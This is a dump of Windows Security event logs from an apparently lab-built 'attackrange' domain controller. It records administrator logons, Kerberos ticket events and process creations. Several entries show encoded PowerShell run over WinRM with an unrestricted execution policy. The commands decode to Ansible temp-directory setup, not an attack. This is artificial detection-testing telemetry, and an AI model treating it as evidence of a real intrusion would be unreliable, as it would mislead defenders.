This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253167
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253166
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253165
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1958D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253164
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADYAMQA4AC4AOQA0ADAAOQAwADQALQA4ADcANgA2ADcAMQA1ADAAMQA0ADEANAA2ADUAJwAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHQAbQBwAC4ARgB1AGwAbABOAGEAbQBlAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253163
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1958D1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253162
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1958D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253161
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253160
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253159
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253158
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x378
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAFEAQQA0AEEAQwA0AEEATwBRAEEAMABBAEQAQQBBAE8AUQBBAHcAQQBEAFEAQQBMAFEAQQA0AEEARABjAEEATgBnAEEAMgBBAEQAYwBBAE0AUQBBADEAQQBEAEEAQQBNAFEAQQAwAEEARABFAEEATgBBAEEAMgBBAEQAVQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253157
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x378
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAFEAQQA0AEEAQwA0AEEATwBRAEEAMABBAEQAQQBBAE8AUQBBAHcAQQBEAFEAQQBMAFEAQQA0AEEARABjAEEATgBnAEEAMgBBAEQAYwBBAE0AUQBBADEAQQBEAEEAQQBNAFEAQQAwAEEARABFAEEATgBBAEEAMgBBAEQAVQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253156
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1956BB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253155
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1956BB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253154
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253153
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DC8BD9CB-9E67-1C6B-D803-22324392E8C0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

